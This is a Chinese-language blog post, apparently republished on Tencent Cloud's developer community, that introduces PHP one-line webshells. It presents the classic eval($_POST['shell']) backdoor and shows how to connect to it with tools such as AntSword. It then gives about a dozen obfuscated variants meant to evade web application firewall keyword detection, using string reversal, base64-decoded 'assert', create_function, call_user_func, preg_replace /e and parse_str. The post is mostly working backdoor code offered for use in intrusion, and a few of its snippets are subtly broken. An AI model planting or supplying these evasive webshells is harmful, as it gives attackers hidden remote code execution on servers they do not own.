Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >php 一句话木马简介

php 一句话木马简介

作者头像
全栈程序员站长
发布于 2022-08-26 04:40:46
发布于 2022-08-26 04:40:46
3.2K03
代码可运行
举报
运行总次数:3
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

一句话木马工作原理

<?php @eval($_POST['shell']);?> 这是php的一句话后门中最普遍的一种。它的工作原理是: 首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器shell取值以后,然后通过eval()函数执行shell里面的内容。

实例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php @eval($_POST['shell']);?>

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑): 在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell

然后就可以看到目标站点目录下的文件了

一句话木马的多种变形

一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。

php变量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。 php变量简单变形1

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成

php变量简单变形2

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>

使用大小写混淆配合字符串转小写函数strtolower组合而成

PHP可变变量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>

以上代码可表示为$aa = (aa) = (‘bb’) =

自定义函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为”eval”的变量。

str_replace函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

总结:一句话木马的变换方式还有很多种,本小白也是浅浅的总结了一下。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143674.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
php一句话免杀简单学习(附赠自用免杀一句话)
今天我们简单学习一下php的一句话木马的各种方式,通过学习这些我们可以编写出自己的免杀一句话木马。文章最后附赠免杀一句话。这里较为基础,适合新手入门学习。
网e渗透安全部
2023/09/01
5.5K0
php一句话免杀简单学习(附赠自用免杀一句话)
php一句话木马变形技巧
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。
全栈程序员站长
2022/08/31
4.5K0
php一句话木马变形技巧
一句话木马
“一句话木马”短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用,居家生活搞站越货必备神器。
用户3376177
2018/09/21
2K0
PHP木马免杀的一些总结
这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:
雪痕@
2020/09/27
2.8K0
PHP木马免杀的一些总结
webshell免杀——以PHP为例
凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话
中龙技术
2022/09/29
2.9K0
webshell免杀——以PHP为例
webshell变形记之一
虽然进行了变形,但是还是被检测出来了4级,这个变形也是比较鸡肋,所以可以配合其他的php函数进行变形
vFREE
2022/08/08
1.1K0
聊聊一句话木马
木马是什么意思就不用我介绍了,网站通常在渗透中找到可以操作文件的机会使用时候,和代码执行文件上传漏洞息息相关,在网站中获得种种上了木马,我们就说拿到了webshell,获得一个较低的权限,网站木马通常是入侵者入侵者拿到网站权限的标志,也是内网渗透.权限提升的开始,一般有两种网站木马,俗称小马和大马,小马又称一句话木马,以只有一句代码,功能简单而得名,大马往往有文件操作,数据操作,执行命令等复杂的功能,在渗透的过程中配合大小木马交叉使用,非常强大,这里和大家简单聊聊我见过的木马。
用户5878089
2019/07/25
1.8K0
PHP WebShell
404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
Al1ex
2021/08/13
2.2K0
一句话木马的各种变形
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。一句话木马一直在跟杀软斗智斗勇,出现一种,杀软秒更新规则。木马再变形,再被杀。。。出现
洛米唯熊
2019/07/22
4.9K0
PHP一句话木马后门
在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。
全栈程序员站长
2022/08/31
3.4K0
深入浅出玩转php一句话(含过waf新姿势)
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143614.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/31
7590
分享一些比较强悍的PHP木马大全-源码
由于PHP一句话木马可以说有很多,简单的、中等的、复杂的.......,今天主要是分享一些比较强悍的一些PHP一句话木马大全;
程序猿的栖息地
2022/04/29
5.8K0
分享一些比较强悍的PHP木马大全-源码
2024全网最全面及最新的网络安全技巧 1 之 bypass各种waf技巧以及命令执行 ———— 作者:LJS
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
盛透侧视攻城狮
2024/10/22
2160
2024全网最全面及最新的网络安全技巧 1 之 bypass各种waf技巧以及命令执行 ———— 作者:LJS
一句话木马踩坑记
所以我在怀疑,有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说,如果换了assert,这个是可以用的
用户5878089
2019/11/07
1.8K0
Wellshell一句话木马
何为一句话木马?他跟其他木马有什么区别吗? 一句话木马的叫法是来自他代码结构简单,简单到什么地步?最简单的一句话木马甚至可以就一句代码就结束了,比如经典PHP一句话:<?php @eval($_POS
Tommonkey
2023/03/20
2.7K0
创造tips的秘籍——PHP回调后门
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如_GET['func'](_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
phith0n
2020/10/15
2.1K0
PHP一句话木马使用技巧
近来发现好多网站有安全狗,会拦截菜刀和蚁剑,因此总结下通过浏览器直接调用一句话木马的姿势。
全栈程序员站长
2022/08/31
2.8K0
PHP一句话木马使用技巧
eval与php一句话的关系
||作者:抹布 part1 首先我们知道,eval能执行php代码,最常见的php一句话也是用eval关键字的。 <?php @eval($_GET["code"])?> Part2 在论坛学习的时候
随心助手
2019/10/15
1.5K0
eval与php一句话的关系
php一句话木马深度解析
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。我们可以利用一句话木马来对主机进行渗透操作,最常见的工具就是号称黑客之刃的中国菜刀。这里我们主要讲解php一句话木马,因为别的语言我也不会啊。
用砖头敲代码
2022/06/06
4K0
PHP Web 木马扫描器
<?php /**************PHP Web木马扫描器************************/ /* [+] 版本: v1.0
用户1696846
2018/07/16
5.2K0
相关推荐
php一句话免杀简单学习(附赠自用免杀一句话)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验